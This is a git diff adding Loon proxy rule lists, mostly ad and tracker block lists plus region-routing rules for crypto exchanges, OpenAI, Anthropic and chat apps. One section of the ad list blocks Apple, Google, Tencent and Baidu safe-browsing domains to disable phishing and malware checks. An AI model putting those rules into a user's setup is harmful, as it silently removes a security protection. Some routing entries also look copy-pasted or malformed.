+IP-ASN, 135908 +IP-ASN, 135909 +IP-ASN, 135920 +IP-ASN, 135921 +IP-ASN, 131440 +IP-ASN, 149079 +IP-ASN, 135929 +IP-ASN, 135926 +IP-ASN, 149077 +IP-ASN, 135927 +IP-ASN, 149078 +IP-ASN, 135924 +IP-ASN, 135925 +IP-ASN, 149076 +IP-ASN, 24035 +IP-ASN, 135922 +IP-ASN, 149074 +IP-ASN, 135923 +IP-ASN, 55309 +IP-ASN, 55308 +IP-ASN, 55307 +IP-ASN, 135919 +IP-ASN, 55306 +IP-ASN, 55305 +IP-ASN, 63744 +IP-ASN, 63746 +IP-ASN, 63747 +IP-ASN, 63748 +IP-ASN, 63749 +IP-ASN, 149101 +IP-ASN, 149102 +IP-ASN, 150698 +IP-ASN, 149100 +IP-ASN, 63740 +IP-ASN, 23962 +IP-ASN, 63741 +IP-ASN, 63742 +IP-ASN, 63743 +IP-ASN, 149109 +IP-ASN, 149107 +IP-ASN, 149105 +IP-ASN, 140770 +IP-ASN, 149104 +IP-ASN, 140775 +IP-ASN, 140774 +IP-ASN, 63733 +IP-ASN, 63734 +IP-ASN, 140759 +IP-ASN, 63735 +IP-ASN, 63736 +IP-ASN, 63737 +IP-ASN, 63739 +IP-ASN, 151893 +IP-ASN, 63730 +IP-ASN, 63731 +IP-ASN, 63732 +IP-ASN, 140760 +IP-ASN, 140761 +IP-ASN, 140764 +IP-ASN, 140765 +IP-ASN, 140762 +IP-ASN, 140768 +IP-ASN, 140769 +IP-ASN, 140766 +IP-ASN, 63766 +IP-ASN, 63767 +IP-ASN, 140748 +IP-ASN, 63768 +IP-ASN, 63769 +IP-ASN, 7643 +IP-ASN, 63760 +IP-ASN, 151885 +IP-ASN, 63762 +IP-ASN, 63763 +IP-ASN, 63764 +IP-ASN, 63765 +IP-ASN, 140750 +IP-ASN, 140751 +IP-ASN, 140757 +IP-ASN, 140758 +IP-ASN, 140739 +IP-ASN, 63755 +IP-ASN, 63756 +IP-ASN, 63758 +IP-ASN, 63759 +IP-ASN, 151870 +IP-ASN, 151873 +IP-ASN, 151872 +IP-ASN, 63751 +IP-ASN, 63752 +IP-ASN, 63753 +IP-ASN, 63754 +IP-ASN, 140742 +IP-ASN, 140747 +IP-ASN, 140745 +IP-ASN, 149145 +IP-ASN, 149146 +IP-ASN, 149143 +IP-ASN, 149142 +IP-ASN, 149149 +IP-ASN, 149147 +IP-ASN, 149148 +IP-ASN, 149134 +IP-ASN, 149135 +IP-ASN, 149132 +IP-ASN, 149130 +IP-ASN, 149131 +IP-ASN, 149138 +IP-ASN, 149139 +IP-ASN, 149136 +IP-ASN, 149137 +IP-ASN, 38244 +IP-ASN, 38247 +IP-ASN, 38248 +IP-ASN, 38249 +IP-ASN, 7602 +IP-ASN, 23902 +IP-ASN, 149123 +IP-ASN, 149124 +IP-ASN, 149120 +IP-ASN, 149129 +IP-ASN, 149127 +IP-ASN, 149128 +IP-ASN, 149125 +IP-ASN, 140791 +IP-ASN, 38251 +IP-ASN, 38253 +IP-ASN, 140796 +IP-ASN, 140799 +IP-ASN, 45903 +IP-ASN, 45902 +IP-ASN, 202602 +IP-ASN, 149113 +IP-ASN, 45901 +IP-ASN, 45900 +IP-ASN, 149118 +IP-ASN, 149116 +IP-ASN, 149117 +IP-ASN, 140781 +IP-ASN, 140786 +IP-ASN, 140787 +IP-ASN, 140788 +IP-ASN, 140789 diff --git a/Loon/rule/Binance.list b/Loon/rule/Binance.list new file mode 100644 index 00000000..1f69d579 --- /dev/null +++ b/Loon/rule/Binance.list @@ -0,0 +1,23 @@ +#!name=Binance币安分流 +#!desc=分流选择支持的地区 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Binance.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-02-09 16:09:26 +############################################# + +DOMAIN-SUFFIX,appsflayer.com +DOMAIN-SUFFIX,binance.cloud +DOMAIN-SUFFIX,binance.com +DOMAIN-SUFFIX,binance.me +DOMAIN-SUFFIX,binance.info +DOMAIN-SUFFIX,binancecnt.com +DOMAIN-SUFFIX,binancefuture.com +DOMAIN-SUFFIX,bnappzh.co +DOMAIN-SUFFIX,bnbstatic.com +DOMAIN-SUFFIX,bnbzh.ac +DOMAIN-SUFFIX,bntrace.com +DOMAIN-SUFFIX,saasexch.cc +DOMAIN-SUFFIX,saasexch.com diff --git a/Loon/rule/GeoIP_CN.list b/Loon/rule/GeoIP_CN.list new file mode 100644 index 00000000..f01e9247 --- /dev/null +++ b/Loon/rule/GeoIP_CN.list @@ -0,0 +1,4 @@ +# QX加到分流中,Loon、Surge加到规则中 +# https://raw.githubusercontent.com/fmz200/wool_scripts/main/Loon/rule/GeoIP_CN.list +# GeoIP China +GEOIP, CN diff --git a/Loon/rule/LAN.list b/Loon/rule/LAN.list new file mode 100644 index 00000000..8f4a627c --- /dev/null +++ b/Loon/rule/LAN.list @@ -0,0 +1,11 @@ +# 路由器等不需要代理的IP段 + +IP-CIDR,10.0.0.0/8,DIRECT,no-resolve +IP-CIDR,100.64.0.0/10,DIRECT,no-resolve +IP-CIDR,172.16.0.0/12,DIRECT,no-resolve +IP-CIDR,192.0.0.0/24,DIRECT,no-resolve +IP-CIDR,192.168.0.0/16,DIRECT,no-resolve +IP-CIDR,198.18.0.0/15,DIRECT,no-resolve +IP-CIDR6,::1/128,DIRECT,no-resolve +IP-CIDR6,fc00::/7,DIRECT,no-resolve +IP-CIDR6,fe80::/10,DIRECT,no-resolve \ No newline at end of file diff --git a/Loon/rule/OKX.list b/Loon/rule/OKX.list new file mode 100644 index 00000000..b93fbbfd --- /dev/null +++ b/Loon/rule/OKX.list @@ -0,0 +1,13 @@ +#!name=OKX欧易分流 +#!desc=选择支持的地区 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/OKX.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-01 23:15:00 +############################################# + +DOMAIN-SUFFIX, okex.com +DOMAIN-SUFFIX, oklink.com +DOMAIN-SUFFIX, okx.com diff --git a/Loon/rule/OpenAI.list b/Loon/rule/OpenAI.list new file mode 100644 index 00000000..1c6a77ee --- /dev/null +++ b/Loon/rule/OpenAI.list @@ -0,0 +1,44 @@ +############################################# +# 分流作用:对OpenAI相关服务进行分流 +# 重要提示:如果不想新增一个策略组,可以设置策略偏好 +# 项目地址:https://raw.githubusercontent.com/fmz200/wool_scripts/main/Loon/rule/OpenAI.list +# 交流群组:https://t.me/lanjieguanggao +# 更新时间:2024-03-10 19:07:00 +# 策略选择:选择支持OpenAI的地区 +############################################# + +DOMAIN, cdn.auth0.com +DOMAIN-SUFFIX, vimeo.com +DOMAIN-SUFFIX, vimeocdn.com +DOMAIN-SUFFIX, hcaptcha.com +DOMAIN-SUFFIX, akamaized.com + +DOMAIN,challenges.cloudflare.com +DOMAIN,api.statsig.com +DOMAIN,cdn.oaistatic.com +DOMAIN-SUFFIX,ai.com +DOMAIN-SUFFIX,openai.com +DOMAIN-SUFFIX,stripe.com +DOMAIN-SUFFIX,poe.com +DOMAIN-SUFFIX,intercom.io +DOMAIN-SUFFIX,identrust.com +DOMAIN-SUFFIX,featuregates.org +DOMAIN-SUFFIX,events.statsigapi.net +DOMAIN-SUFFIX,oaiusercontent.com +DOMAIN-SUFFIX,openaicom.imgix.net +DOMAIN-SUFFIX,openaiapi-site.azureedge.net +DOMAIN-SUFFIX,chat.openai.com.cdn.cloudflare.net +DOMAIN-SUFFIX,openaicom.imgix.net +DOMAIN-SUFFIX,openaicomproductionae4b.blob.core.windows.net +DOMAIN-SUFFIX,openaicom-api-bdcpf8c6d2e9atf6.z01.azurefd.net +DOMAIN-SUFFIX,sentry.io +# +DOMAIN-SUFFIX,anthropic.com +DOMAIN-SUFFIX,claude.ai +# +DOMAIN-SUFFIX,gatewayai.com +DOMAIN-SUFFIX,tktn.be +IP-CIDR,50.117.27.0/24,no-resolve +IP-CIDR,69.46.75.0/24,no-resolve +IP-CIDR,205.164.56.29/24,no-resolve +IP-CIDR,63.251.124.0/24,no-resolve diff --git a/Loon/rule/Soul.list b/Loon/rule/Soul.list new file mode 100644 index 00000000..d697c05b --- /dev/null +++ b/Loon/rule/Soul.list @@ -0,0 +1,53 @@ +#!name=Soul分流 +#!desc=可能需要好几天才能成功更改IP +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Soul.list +#!tg-group=https://t.me/lanjieguanggao +#!update=2024-06-01 23:15:00 +############################################# +# 1.2.3.4/24 /24表示网络的子网掩码长度,即前24位是网络部分,后8位是主机部分。这种表示法常用于描述特定范围内的IP地址 +# 6.7.8.9/32 /32表示整个32位的IP地址都用于表示这一个地址,即单独的一个IP地址 +# no-resolve 可选: 当设置no-resolve后表示该规则只会对目标地址类型是IP类型的生效,域名类型的目标地址不会进行dns解析后再去匹配这个规则, +# 为了防止域名类的目标地址做无效的DNS请求,请在给纯IP类型的域名制定的规则中加上no-resolve。 + +# User-Agent: Soul_New/5.0.0 (iPhone; iOS 17.1; Scale/3.00; CFNetwork; iPhone15,2) SoulBegin-iOS-5.0.0-WIFI-SoulEnd +# 用ua匹配规则生效的额外条件是域名/IP可以MITM并且被MITM(需要在host中添加) +# user-agent + +# domain-keyword, soul + +# 本来是广告,但是拒绝后似乎不能正常使用 +IP-CIDR, 47.56.131.76/32, no-resolve +IP-CIDR, 47.97.215.55/32, no-resolve +IP-CIDR, 47.99.42.29/32, no-resolve +IP-CIDR, 120.27.235.201/32, no-resolve +IP-CIDR, 121.196.197.147/32, no-resolve + +IP-CIDR, 8.210.3.170/32, no-resolve +IP-CIDR, 43.231.145.10/32, no-resolve +IP-CIDR, 47.75.72.47/32, no-resolve +IP-CIDR, 47.96.7.91/32, no-resolve +IP-CIDR, 47.96.11.46/32, no-resolve +IP-CIDR, 47.96.20.45/32, no-resolve +IP-CIDR, 47.98.54.106/32, no-resolve +IP-CIDR, 47.98.137.249/32, no-resolve +IP-CIDR, 47.110.187.87/32, no-resolve +IP-CIDR, 114.215.255.94/32, no-resolve +IP-CIDR, 116.62.47.28/32, no-resolve +IP-CIDR, 116.62.97.84/32, no-resolve +IP-CIDR, 116.62.108.43/32, no-resolve +IP-CIDR, 116.62.247.96/32, no-resolve +IP-CIDR, 118.31.7.235/32, no-resolve +IP-CIDR, 118.31.112.221/32, no-resolve +IP-CIDR, 120.55.55.115/32, no-resolve +IP-CIDR, 120.55.62.124/32, no-resolve +IP-CIDR, 120.26.40.187/32, no-resolve +IP-CIDR, 121.40.189.58/32, no-resolve +IP-CIDR, 121.43.161.107/32, no-resolve +IP-CIDR, 121.196.203.183/32, no-resolve + +IP-CIDR6, 2400:3200:1500::70/32, no-resolve +IP-CIDR6, 2400:3200:1500::169/32, no-resolve +IP-CIDR6, 2400:3200:1500::1fb/32, no-resolve diff --git a/Loon/rule/Talkatone.list b/Loon/rule/Talkatone.list new file mode 100644 index 00000000..29aff259 --- /dev/null +++ b/Loon/rule/Talkatone.list @@ -0,0 +1,17 @@ +#!name=Talkatone分流 +#!desc=选择支持的地区 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Talkatone.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-01 23:15:00 +############################################# + +DOMAIN-SUFFIX, mfx.mobilefuse.co +DOMAIN-SUFFIX, tktn.be + +IP-CIDR, 50.117.27.0/24, no-resolve +IP-CIDR, 69.46.75.0/24, no-resolve +IP-CIDR, 205.164.56.29/24, no-resolve +IP-CIDR, 63.251.124.0/24, no-resolve diff --git a/Loon/rule/TencentVideo.list b/Loon/rule/TencentVideo.list new file mode 100644 index 00000000..59fed5ca --- /dev/null +++ b/Loon/rule/TencentVideo.list @@ -0,0 +1,66 @@ +#!name=腾讯视频去广告 +#!desc=去除开屏,青少年,打开通知,播放,暂停等广告。提示:播放会加载10秒左右 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/TencentVideo.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-06-09 20:00:26 +############################################# + +# > 精简版 +DOMAIN, info4.video.qq.com +DOMAIN, info6.video.qq.com +DOMAIN, ugchsy.gtimg.com +DOMAIN, rmonitor.qq.com +DOMAIN, activity.video.qq.com +DOMAIN, iacc.qq.com +DOMAIN, tux.qq.com +DOMAIN, aegis.qq.com +DOMAIN, rdelivery.qq.com +DOMAIN-SUFFIX, static-res.qq.com +DOMAIN-SUFFIX, gdtimg.com +DOMAIN-SUFFIX, l.qq.com +DOMAIN-SUFFIX, gdt.qq.com +DOMAIN-SUFFIX, video.mpush.qq.com +DOMAIN-SUFFIX, api.poll.video.qq.com +DOMAIN-SUFFIX, tpns.tencent.com +DOMAIN-SUFFIX, omgmta.qq.com +DOMAIN-SUFFIX, omgmta1.qq.com +DOMAIN-KEYWORD, track.qq.com +DOMAIN-KEYWORD, trace.qq.com +DOMAIN-KEYWORD, pgdt.gtimg.c +DOMAIN-KEYWORD, trace.video.qq.com +DOMAIN-KEYWORD, 1258344696.file.myqcloud.com +IP-CIDR, 183.201.213.194/24, no-resolve + +# > 复杂版 +#DOMAIN, pgdt.gtimg.cn +#DOMAIN, ugchsy.gtimg.com +#DOMAIN, adsmind.gdtimg.com +#DOMAIN, btrace.video.qq.com +#DOMAIN, info4.video.qq.com +#DOMAIN, info6.video.qq.com +#DOMAIN, activity.video.qq.com +#DOMAIN, ios.video.mpush.qq.com +#DOMAIN, p.l.qq.com +#DOMAIN, rpt.gdt.qq.com +#DOMAIN-SUFFIX, api.poll.video.qq.com +#DOMAIN-SUFFIX, trace.qq.com +#DOMAIN-SUFFIX, tetrack.qq.com +#DOMAIN-SUFFIX, tpns.tencent.com +#DOMAIN-SUFFIX, stat.tpns.tencent.com +#DOMAIN-SUFFIX, static-res.qq.com +#DOMAIN-SUFFIX, omgmta.qq.com +#DOMAIN-SUFFIX, omgmta1.qq.com +#DOMAIN, tux.qq.com +#DOMAIN, iacc.qq.com +#DOMAIN, p2.l.qq.com +#DOMAIN, v3.gdt.qq.com +#DOMAIN, rmonitor.qq.com +#DOMAIN, xs.gdt.qq.com +#DOMAIN, aegis.qq.com +#DOMAIN, rdelivery.qq.com +#DOMAIN, wallpaper-1258344696.file.myqcloud.com +#DOMAIN, wallpaper-test-1258344696.file.myqcloud.com +#IP-CIDR, 183.201.213.194/24, no-resolve diff --git a/Loon/rule/apple_update.list b/Loon/rule/apple_update.list new file mode 100644 index 00000000..39c81266 --- /dev/null +++ b/Loon/rule/apple_update.list @@ -0,0 +1,19 @@ +#!name=Apple系统更新分流 +#!desc=若要屏蔽Apple系统更新规则选择reject +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/apple_update.list +#!tg-group=https://t.me/lanjieguanggao +#!update=2024-06-01 23:15:00 +############################################# + +DOMAIN,ns.itunes.apple.com +DOMAIN,appldnld.apple.com +DOMAIN,mesu.apple.com +DOMAIN,xp.apple.com +DOMAIN,gdmf.apple.com +DOMAIN-SUFFIX,iadsdk.apple.com +DOMAIN-SUFFIX,ads.internal.unity3d.com +DOMAIN-SUFFIX,ads.prd.ie.internal.unity3d.com +DOMAIN-SUFFIX,unityads.unity3d.com diff --git a/Loon/rule/rejectAd.list b/Loon/rule/rejectAd.list new file mode 100644 index 00000000..1c7d2e6a --- /dev/null +++ b/Loon/rule/rejectAd.list @@ -0,0 +1,10052 @@ +#!name=广告拦截合集-规则 +#!desc=(F)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装APP,拦截广告才会生效!可以配置到规则或者插件 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/rejectAd.list +#!tg-group=https://t.me/lanjieguanggao +#!tag = 去广告, fmz200 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-20 23:40:17 +#!support=约9392行 +#!proxy-select=REJECT +############################################# +# "REJECT" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "REJECT-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "REJECT-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "REJECT-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "REJECT-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +# 1.2.3.4/24 /24表示网络的子网掩码长度,即前24位是网络部分,后8位是主机部分。这种表示法常用于描述特定范围内的IP地址 +# 6.7.8.9/32 /32表示整个32位的IP地址都用于表示这一个地址,即单独的一个IP地址 +############################################# + + +#[Rule] +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +# > 广告联盟 +DOMAIN-SUFFIX, miaozhen.com +DOMAIN-KEYWORD, -ad-sign.byteimg.com +DOMAIN-KEYWORD, -tos.pstatp.com +DOMAIN-KEYWORD, asiad.byteactivity +DOMAIN-KEYWORD, pangolin-sdk-toutiao +DOMAIN-KEYWORD, pglstatp-toutiao +DOMAIN-KEYWORD, pangolin.snssdk.com +DOMAIN-KEYWORD, video-cn.snssdk.com +DOMAIN-SUFFIX, getui.com +DOMAIN-SUFFIX, getui.net +DOMAIN-SUFFIX, gepush.com +DOMAIN-SUFFIX, igexin.com +DOMAIN-SUFFIX, log.aliyuncs.com +DOMAIN-SUFFIX, zlsdk.1rtb.net +# > 收集用户隐私联盟,若有问题自行设置白名单 +DOMAIN-KEYWORD, volc +DOMAIN-KEYWORD, umeng + +# > 其他 +DOMAIN, api.liquidlink.cn + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 交管12123 +DOMAIN-SUFFIX, v3.fstats.xyz +DOMAIN-SUFFIX, wss.haoyundmn.com +DOMAIN-SUFFIX, new.xiongzhangad.com +DOMAIN-SUFFIX, alexametrics.com +DOMAIN-KEYWORD, in-page-push + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +DOMAIN, ad.mcloud.139.com + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 51wnl +DOMAIN, ad.51wnl-cq.com +DOMAIN, adextra.51wnl-cq.com +DOMAIN, log.51wnl-cq.com +DOMAIN, r.51wnl-cq.com + +# > 51.LA +DOMAIN, js.users.51.la +DOMAIN, mc.51.la +DOMAIN, wc.51.la + +# > 58同城 +DOMAIN, track.58.com +DOMAIN, tracklog.58.com + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > Adobe Flash China Special Edition +DOMAIN, geo2.adobe.com + +# > Apple +DOMAIN, advertising.apple.com +DOMAIN, api-adservices.apple.com +DOMAIN, apple.comscoreresearch.com +DOMAIN, banners.itunes.apple.com +DOMAIN, iad.apple.com +DOMAIN, iadcontent.apple.com +DOMAIN, iadctest.qwapi.com +DOMAIN, iadmoo.apple.com +DOMAIN, iadworkbench.apple.com +DOMAIN, launch.apple.com +DOMAIN, metrics.apple.com +DOMAIN, qwapi.apple.com +DOMAIN, securemetrics.apple.com +DOMAIN, webproxy-advp.iad-apple.com +DOMAIN, webproxy-advp.iad-apple.com.akadns.net +DOMAIN-SUFFIX,advp.apple.com +DOMAIN-SUFFIX,iadsdk.apple.com +# 安全浏览限制解除 +DOMAIN, lookup.api.bsb.baidu.com +DOMAIN, proxy.safebrowsing.apple +DOMAIN, safebrowsing.g.applimg.com +DOMAIN, safebrowsing.googleapis.com +DOMAIN, safebrowsing.urlsec.qq.com +DOMAIN, token.safebrowsing.apple +DOMAIN, vs6.bj2ct.u3.ucweb.com +DOMAIN-SUFFIX,safebrowsing.apple +DOMAIN-SUFFIX,u3.ucweb.com + +# > 阿里云 +IP-CIDR, 203.107.1.1/24, no-resolve + +# > 爱奇艺 +DOMAIN, api.iqiyi.com +DOMAIN, cr-status.iqiyi.com +DOMAIN, f74f7f7765f8a2f6.ngaa.net.cn +DOMAIN, ef-dongfeng.tanx.com +DOMAIN, iqiyim.adtrack.enlightent.cn +DOMAIN, dig.bdurl.net +DOMAIN, t7z.cupid.iqiyi.com +DOMAIN, t7z.cupid.ptqy.gitv.tv +DOMAIN-SUFFIX,cupid.iqiyi.com +DOMAIN-SUFFIX,t7z.cupid.iqiyi.com +DOMAIN-SUFFIX,static-s.iqiyi.com +DOMAIN-SUFFIX,a.ckm.iqiyi.com +DOMAIN-SUFFIX,ad.m.iqiyi.com +DOMAIN-SUFFIX,afp.iqiyi.com +DOMAIN-SUFFIX,api.cupid.iqiyi.com +DOMAIN-SUFFIX,api.cupid.qiyi.com +DOMAIN-SUFFIX,c.uaa.iqiyi.com +DOMAIN-SUFFIX,cloudpush.iqiyi.com +DOMAIN-SUFFIX,cm.passport.iqiyi.com +DOMAIN-SUFFIX,count.game.pps.tv +DOMAIN-SUFFIX,cupid.iqiyi.com +DOMAIN-SUFFIX,emoticon.sns.iqiyi.com +DOMAIN-SUFFIX,gamecenter.iqiyi.com +DOMAIN-SUFFIX,mbdlog.iqiyi.com +DOMAIN-SUFFIX,msg.iqiyi.com +DOMAIN-SUFFIX,msg.video.qiyi.com +DOMAIN-SUFFIX,msg2.video.qiyi.com +DOMAIN-SUFFIX,static.g.iqiyi.com +DOMAIN-SUFFIX,static.g.ppstream.com +DOMAIN-SUFFIX,store.iqiyi.com +DOMAIN-SUFFIX,tracker.sns.iqiyi.com +DOMAIN-SUFFIX,yuedu.iqiyi.com +DOMAIN-SUFFIX,msga.cupid.iqiyi.com +DOMAIN-SUFFIX,nl.notice.iqiyi.com +DOMAIN-SUFFIX,nl.rcd.iqiyi.com +DOMAIN-SUFFIX,notice.iqiyi.com +DOMAIN-SUFFIX,noxagile.duapp.com +DOMAIN-SUFFIX,paopao.iqiyi.com +DOMAIN-SUFFIX,policy.video.iqiyi.com +DOMAIN-SUFFIX,ifacelog.iqiyi.com +IP-CIDR, 203.107.63.154/32, no-resolve +IP-CIDR, 101.227.97.240/32, no-resolve +IP-CIDR, 101.227.200.11/32, no-resolve +IP-CIDR, 101.227.200.28/32, no-resolve +IP-CIDR, 124.192.153.42/32, no-resolve + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > 百度 +DOMAIN-SUFFIX,duapps.com +DOMAIN-SUFFIX,cpro.baidu.com +DOMAIN-SUFFIX,pos.baidu.com +DOMAIN, afd.baidu.com +DOMAIN, als.baidu.com +DOMAIN, duclick.baidu.com +DOMAIN, mobads.baidu.com +DOMAIN, mobads-logs.baidu.com +DOMAIN, nadvideo2.baidu.com +DOMAIN, nsclick.baidu.com +DOMAIN-SUFFIX,bce.baidu.com +DOMAIN-SUFFIX,bar.baidu.com +DOMAIN-SUFFIX,baiduyubaidu.com +DOMAIN-SUFFIX,baidutv.baidu.com +DOMAIN-SUFFIX,baichuan.baidu.com +DOMAIN-SUFFIX,appc.baidu.com +DOMAIN-SUFFIX,anquan.baidu.com +DOMAIN-SUFFIX,adscdn.baidu.com +DOMAIN-SUFFIX,adm.baidu.com +DOMAIN-SUFFIX,ad.player.baidu.com +DOMAIN-SUFFIX,a.baidu.com +DOMAIN-SUFFIX,antivirus.baidu.com +DOMAIN-SUFFIX,baifen.music.baidu.com +DOMAIN-SUFFIX,banlv.baidu.com +DOMAIN-SUFFIX,cm.baidu.com +DOMAIN-SUFFIX,cpro.zhidao.baidu.com +DOMAIN-SUFFIX,cleaner.baidu.com +DOMAIN-SUFFIX,cjhq.baidu.com +DOMAIN-SUFFIX,cb.baidu.com +DOMAIN-SUFFIX,c.baidu.com +DOMAIN-SUFFIX,btlaunch.baidu.com +DOMAIN-SUFFIX,bdplus.baidu.com +DOMAIN-SUFFIX,cbjs.baidu.com +DOMAIN-SUFFIX,cpro2.baidu.com +DOMAIN-SUFFIX,cpu-admin.baidu.com +DOMAIN-SUFFIX,10086.cn.baidu.cdn.yiwk.com +DOMAIN-SUFFIX,360baidus.com +DOMAIN-SUFFIX,app.ibaiducdn.com +DOMAIN-SUFFIX,baidu.cybcyw.com +DOMAIN-SUFFIX,baidu.dsp.tansuotv.com +DOMAIN-SUFFIX,baidu.greenxf.cn +DOMAIN-SUFFIX,baidu.jz5u.net +DOMAIN-SUFFIX,baiduace.com +DOMAIN-SUFFIX,baidujs.cnys.com +DOMAIN-SUFFIX,baidulao.com +DOMAIN-SUFFIX,baidut.github.io +DOMAIN-SUFFIX,baidu-union-js.xiachufang.com +DOMAIN-SUFFIX,baidu-union-pos.xiachufang.com +DOMAIN-SUFFIX,baiduzhidahao.cc +DOMAIN-SUFFIX,cpro.baidu.cn +DOMAIN-SUFFIX,crs.baidu.com +DOMAIN-SUFFIX,datax.baidu.com +DOMAIN-SUFFIX,dl.client.baidu.com +DOMAIN-SUFFIX,dl.ops.baidu.com +DOMAIN-SUFFIX,dl1sw.baidu.com +DOMAIN-SUFFIX,dl2.bav.baidu.com +DOMAIN-SUFFIX,dlsw.baidu.com +DOMAIN-SUFFIX,dlsw.br.baidu.com +DOMAIN-SUFFIX,dl-vip.bav.baidu.com +DOMAIN-SUFFIX,dl-vip.pcfaster.baidu.co.th +DOMAIN-SUFFIX,download.bav.baidu.com +DOMAIN-SUFFIX,download.sd.baidu.com +DOMAIN-SUFFIX,drmcmm.baidu.com +DOMAIN-SUFFIX,duiwai.baidu.com +DOMAIN-SUFFIX,dxp.baidu.com +DOMAIN-SUFFIX,dzl.baidu.com +DOMAIN-SUFFIX,e.baidu.com +DOMAIN-SUFFIX,eclick.baidu.com +DOMAIN-SUFFIX,eiv.baidu.com +DOMAIN-SUFFIX,em.baidu.com +DOMAIN-SUFFIX,entry.baidu.com +DOMAIN-SUFFIX,ers.baidu.com +DOMAIN-SUFFIX,fclick.baidu.com +DOMAIN-SUFFIX,feed.baidu.com +DOMAIN-SUFFIX,fexclick.baidu.com +DOMAIN-SUFFIX,g.baidu.com +DOMAIN-SUFFIX,gimg.baidu.com +DOMAIN-SUFFIX,guanjia.baidu.com +DOMAIN-SUFFIX,hc.baidu.com +DOMAIN-SUFFIX,hdj.baidu.com +DOMAIN-SUFFIX,hpd.baidu.com +DOMAIN-SUFFIX,idm-su.baidu.com +DOMAIN-SUFFIX,iebar.baidu.com +DOMAIN-SUFFIX,ikcode.baidu.com +DOMAIN-SUFFIX,iwanad.baidu.com +DOMAIN-SUFFIX,j.br.baidu.com +DOMAIN-SUFFIX,jb.mbaidu.top +DOMAIN-SUFFIX,js.mbaidu.top +DOMAIN-SUFFIX,kstj.baidu.com +DOMAIN-SUFFIX,m.baidu.com.yiqisee.cn +DOMAIN-SUFFIX,m.baidu.com.zhiduo.org +DOMAIN-SUFFIX,m1.baidu.com +DOMAIN-SUFFIX,ma.baidu.com +DOMAIN-SUFFIX,mpro.baidu.com +DOMAIN-SUFFIX,msite.baidu.com +DOMAIN-SUFFIX,mssp.baidu.com +DOMAIN-SUFFIX,mtj.baidu.com +DOMAIN-SUFFIX,neirong.baidu.com +DOMAIN-SUFFIX,nlog.baidu.com +DOMAIN-SUFFIX,nsclickvideo.baidu.com +DOMAIN-SUFFIX,openrcv.baidu.com +DOMAIN-SUFFIX,paimgcdn.baidu.com +DOMAIN-SUFFIX,pc.videoclick.baidu.com +DOMAIN-SUFFIX,push.zhanzhang.baidu.com +DOMAIN-SUFFIX,qianclick.baidu.com +DOMAIN-SUFFIX,release.baidu.com +DOMAIN-SUFFIX,river.zhidao.baidu.com +DOMAIN-SUFFIX,rj.baidu.com +DOMAIN-SUFFIX,rplog.baidu.com +DOMAIN-SUFFIX,s.baidu.com +DOMAIN-SUFFIX,sclick.baidu.com +DOMAIN-SUFFIX,sestat.baidu.com +DOMAIN-SUFFIX,shadu.baidu.com +DOMAIN-SUFFIX,sobar.baidu.com +DOMAIN-SUFFIX,sobartop.baidu.com +DOMAIN-SUFFIX,spcode.baidu.com +DOMAIN-SUFFIX,tk.baidu.com +DOMAIN-SUFFIX,tkweb.baidu.com +DOMAIN-SUFFIX,toolbar.baidu.com +DOMAIN-SUFFIX,tuijian.baidu.com +DOMAIN-SUFFIX,tuisong.baidu.com 